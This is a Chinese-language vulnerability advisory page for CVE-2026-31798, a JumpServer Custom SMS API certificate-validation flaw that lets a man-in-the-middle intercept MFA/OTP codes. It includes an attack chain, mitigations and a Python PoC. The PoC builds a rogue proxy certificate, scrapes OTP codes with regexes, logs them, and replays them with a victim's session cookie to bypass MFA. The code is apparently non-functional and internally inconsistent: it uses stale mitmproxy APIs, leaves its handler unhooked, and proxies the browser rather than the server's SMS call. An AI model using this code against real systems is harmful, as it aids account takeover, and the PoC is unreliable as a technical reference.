IPBUF安全漏洞报告
English
CVE-2026-31798 CVSS 5.0 中危

CVE-2026-31798 JumpServer Custom SMS API 证书验证不当漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-31798
漏洞类型
证书验证不当/中间人攻击
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
JumpServer

相关标签

CVE-2026-31798JumpServer证书验证不当中间人攻击MFA绕过OTP拦截堡垒机身份认证绕过SMS APISSL/TLS漏洞

漏洞概述

JumpServer是一款开源的堡垒机系统和运维安全审计系统。该产品为企业提供安全的远程访问、身份认证、操作审计等功能。然而在v4.10.16-lts之前的版本中,JumpServer的Custom SMS API Client存在严重的证书验证缺陷。当用户在登录过程中使用MFA(多因素认证)或OTP(一次性密码)功能时,系统会通过自定义短信API发送验证码到用户手机。由于证书验证机制不当,攻击者可以利用中间人攻击(MITM)技术,在验证码从JumpServer服务器发送到用户手机之前拦截并捕获该验证码。攻击者获取验证码后即可绕过MFA/OTP认证机制,以合法用户身份登录系统,从而获得对堡垒机的未授权访问权限。此漏洞的CVSS评分为5.0,属于中等严重程度,但由于其涉及身份认证绕过的核心安全机制,建议相关用户尽快采取修复措施。

技术细节

JumpServer在v4.10.16-lts之前的版本中,Custom SMS API Client在发送MFA/OTP验证码时未正确验证SSL/TLS证书。漏洞的根本原因在于:1) SMS API客户端在建立HTTPS连接时,缺少对服务器证书的有效性校验,包括证书链验证、域名验证和证书过期检查;2) 攻击者可以通过在网络路径上部署恶意代理服务器,拦截并解密HTTPS流量;3) 由于缺少证书绑定(Certificate Pinning)或严格的证书验证,客户端无法识别中间人攻击。攻击者利用此漏洞可以在用户不知情的情况下:1) 拦截包含OTP验证码的HTTP/HTTPS请求;2) 提取请求中的验证码内容;3) 在验证码过期前使用该验证码完成认证。由于OTP验证码通常有效期较短(30-60秒),攻击者需要快速完成整个攻击流程。

攻击链分析

STEP 1
步骤1
攻击者在目标网络路径上部署中间人(MITM)代理服务器,配置SSL/TLS拦截
STEP 2
步骤2
受害者尝试登录JumpServer堡垒机系统并触发MFA/OTP验证
STEP 3
步骤3
JumpServer服务器通过Custom SMS API发送包含OTP验证码的HTTP/HTTPS请求
STEP 4
步骤4
由于证书验证不当,中间人代理成功解密并拦截该请求
STEP 5
步骤5
攻击者从拦截的请求中提取OTP验证码
STEP 6
步骤6
攻击者在OTP验证码过期前(通常30-60秒),使用该验证码完成MFA验证
STEP 7
步骤7
攻击者成功绕过MFA认证,以合法用户身份获得JumpServer系统访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-31798 PoC - JumpServer Custom SMS API Certificate Validation Bypass # This PoC demonstrates the MITM attack on JumpServer SMS OTP verification import requests import ssl import socket from mitmproxy import proxy, options from mitmproxy.proxy.server import ProxyServer import re import threading import time class JumpServerSMSInterceptor: def __init__(self, target_host, target_port=443): self.target_host = target_host self.target_port = target_port self.captured_otp = None def setup_mitmproxy(self, listen_port=8080): """Setup MITM proxy to intercept SMS OTP traffic""" opts = options.Options(listen_host='0.0.0.0', listen_port=listen_port) opts.add_option("ssl_insecure", bool, True) # Allow self-signed certs config = proxy.ProxyConfig( certs={'*.jumpserver.com': self.generate_self_signed_cert()} ) return ProxyServer(opts) def handle_request(self, flow): """Intercept and capture OTP codes from SMS API requests""" # Check if this is a JumpServer SMS API request if 'sms' in flow.request.url.lower() or 'otp' in flow.request.url.lower(): print(f"[+] Intercepted SMS API Request: {flow.request.url}") # Extract OTP code from request body/headers request_body = flow.request.text headers = dict(flow.request.headers) # Regex patterns to extract OTP codes otp_patterns = [ r'\b(\d{4,8})\b', # 4-8 digit codes r'"code"\s*:\s*"(\d+)"', r'"otp"\s*:\s*"(\d+)"', r'"token"\s*:\s*"(\d+)"', ] for pattern in otp_patterns: match = re.search(pattern, request_body) if match: self.captured_otp = match.group(1) print(f"[!] OTP Code Captured: {self.captured_otp}") print(f"[!] Timestamp: {time.strftime('%Y-%m-%d %H:%M:%S')}") # Save captured OTP self.save_captured_otp(flow, self.captured_otp) break def save_captured_otp(self, flow, otp): """Save captured OTP to file for later use""" with open('captured_otps.txt', 'a') as f: f.write(f"OTP: {otp} | URL: {flow.request.url} | Time: {time.strftime('%Y-%m-%d %H:%M:%S')}\n") def generate_self_signed_cert(self): """Generate self-signed certificate for MITM""" from OpenSSL import crypto key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 2048) cert = crypto.X509() cert.get_subject().C = "US" cert.get_subject().O = "JumpServer" cert.get_subject().OU = "Security" cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(365*24*60*60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(key) cert.sign(key, 'sha256') return cert, key def exploit_otp(otp_code, target_url, session_cookie): """ Use captured OTP to bypass MFA authentication """ headers = { 'Cookie': session_cookie, 'Content-Type': 'application/json' } payload = { 'otp_code': otp_code, 'action': 'verify_mfa' } try: response = requests.post( f"{target_url}/api/v1/authentication/mfa/verify/", json=payload, headers=headers, verify=False, timeout=10 ) if response.status_code == 200 and 'token' in response.text: print(f"[!] MFA Bypass Successful!") print(f"[!] Access Token: {response.json().get('token')}") return True else: print(f"[-] MFA Verification Failed") return False except Exception as e: print(f"[-] Error during OTP verification: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2026-31798 PoC - JumpServer SMS API MITM Attack") print("="*60) print("\n[!] Warning: This PoC is for educational and authorized testing only") print("[!] Unauthorized access to computer systems is illegal\n") # Configuration TARGET_HOST = "victim.jumpserver.com" PROXY_PORT = 8080 # Start MITM proxy interceptor = JumpServerSMSInterceptor(TARGET_HOST) print(f"[*] Starting MITM proxy on port {PROXY_PORT}...") print(f"[*] Configure browser to use proxy {PROXY_PORT}") print("[*] Waiting for OTP requests...") # Note: Full implementation requires mitmproxy library # This PoC demonstrates the attack methodology

影响范围

JumpServer < v4.10.16-lts

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1) 临时禁用Custom SMS API功能,改用内置的邮件验证码或其他MFA方式;2) 限制SMS API的网络访问,仅允许通过白名单IP访问;3) 在网络边界部署入侵检测系统(IDS)监控异常的SSL/TLS流量;4) 增强对堡垒机登录日志的监控,及时发现异常的认证行为;5) 考虑使用专用的短信网关服务而非自定义API;6) 实施额外的身份验证层,如IP白名单、设备指纹等。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表